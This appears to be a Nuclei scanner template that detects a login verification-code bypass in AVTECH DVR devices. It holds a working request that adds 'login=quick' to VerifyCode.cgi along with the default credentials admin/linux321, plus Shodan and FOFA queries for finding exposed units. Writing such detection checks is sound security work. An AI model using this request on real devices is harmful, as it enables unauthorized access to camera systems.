2023-05-15 20:22:39 +00:00
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id: avtech-verification-bypass
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info:
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name: AVTECH DVR - Login Verification Code Bypass
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author: ritikchaddha
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severity: low
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description: |
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AVTECH DVR products are vulnerable to verification code bypass just by entering the "login=quick" parameter to bypass verification code.
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metadata:
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2023-06-04 08:13:42 +00:00
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verified: true
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2023-10-14 11:27:55 +00:00
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max-request: 1
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2023-05-15 20:22:39 +00:00
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shodan-query: title:"login" product:"Avtech"
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fofa-query: app="AVTECH-视频监控"
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tags: avtech,verify,bypass,iot
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http:
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- method: GET
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path:
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- "{{BaseURL}}/cgi-bin/nobody/VerifyCode.cgi?account={{base64(username + ':' + password)}}&login=quick"
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2023-05-17 05:10:43 +00:00
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attack: pitchfork
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payloads:
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username:
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- admin
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password:
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- linux321
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2023-05-15 20:22:39 +00:00
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matchers-condition: and
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matchers:
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- type: regex
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regex:
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- "^0.*\nOK.*"
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- type: dsl
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dsl:
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- status_code == 200
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- len(body) == 5
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condition: and
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2023-10-20 11:41:13 +00:00
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# digest: 4b0a00483046022100f66dfc80ac1a45755069a731adee572ccf8c2a212a01cf620d518d45127b16f20221009c4b0ba05a989d4e3436f50fedca757ba584308e5fb2a9d4dcf7f810a6111861:922c64590222798bb761d5b6d8e72950
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